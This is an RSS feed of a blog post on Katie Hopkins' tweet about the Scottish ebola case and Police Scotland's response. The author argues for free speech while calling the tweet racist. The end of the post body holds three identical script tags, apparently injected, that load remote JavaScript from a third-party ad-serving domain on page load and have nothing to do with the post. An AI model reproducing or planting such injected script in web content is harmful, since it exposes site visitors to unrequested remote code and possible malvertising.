<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Where Worlds Collide &#187; Katie Hopkins</title>
	<atom:link href="http://www.kalyr.co.uk/weblog/tag/katie-hopkins/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.kalyr.co.uk/weblog</link>
	<description>The blogs of Tim Hall</description>
	<lastBuildDate>Fri, 10 Mar 2017 15:33:59 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=3.7.41</generator>
	<item>
		<title>Katie Hopkins vs. Police Scotland</title>
		<link>http://www.kalyr.co.uk/weblog/uncategorized/katie-hopkins-vs-police-scotland/</link>
		<comments>http://www.kalyr.co.uk/weblog/uncategorized/katie-hopkins-vs-police-scotland/#comments</comments>
		<pubDate>Fri, 02 Jan 2015 13:26:00 +0000</pubDate>
		<dc:creator><![CDATA[Tim Hall]]></dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Freedom of Speech]]></category>
		<category><![CDATA[Katie Hopkins]]></category>

		<guid isPermaLink="false">http://www.kalyr.co.uk/weblog/?p=11995</guid>
		<description><![CDATA[Katie Hopkins is an attention-seeking professional troll and bigot, but do her words really justify prosecution? <a href="http://www.kalyr.co.uk/weblog/uncategorized/katie-hopkins-vs-police-scotland/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>Yes, Katie Hopkins is an attention-seeking professional troll and bigot, and there is no way anyone can pretend that her Tweet about the Scottish ebola case wasn&#8217;t offensively racist. And no, I won&#8217;t link to it because that will only serve to spread her hate.</p>
<p>But hateful as it was, it fell short of direct incitement to violence. So is there any real justification for Police Scotland to get involved?</p>
<p><a href="http://liberalengland.blogspot.co.uk/2014/12/police-scotland-and-katie-hopkins.html">Liberal England feels the same way</a></p>
<blockquote><p>I am not surprised that the police have picked up on the modern fashion for claiming offence. They know a good repressive ideology when they see it.</p>
<p>But I wish there were more on the left who would stand up for free speech &#8211; or at least for common sense.</p></blockquote>
<p>Quite</p>
<p>Judging from some comments I&#8217;ve seen on social media it seems that too many people aren&#8217;t willing to make the distinction between supporting someome&#8217;s freedom to say something and supporting what they actually said.</p>
<p>If you do not support the freedom of bad people to say bad things in spaces you don&#8217;t own or control, you don&#8217;t really believe in freedom of speech. Many on the left do not, although a lot of them aren&#8217;t intellectually honest enough to admit it.</p>
<p>If you support a &#8220;right not to be offended&#8221;, where do you draw the line? Who decides which groups nobody is allowed to offend?<script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kalyr.co.uk/weblog/uncategorized/katie-hopkins-vs-police-scotland/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
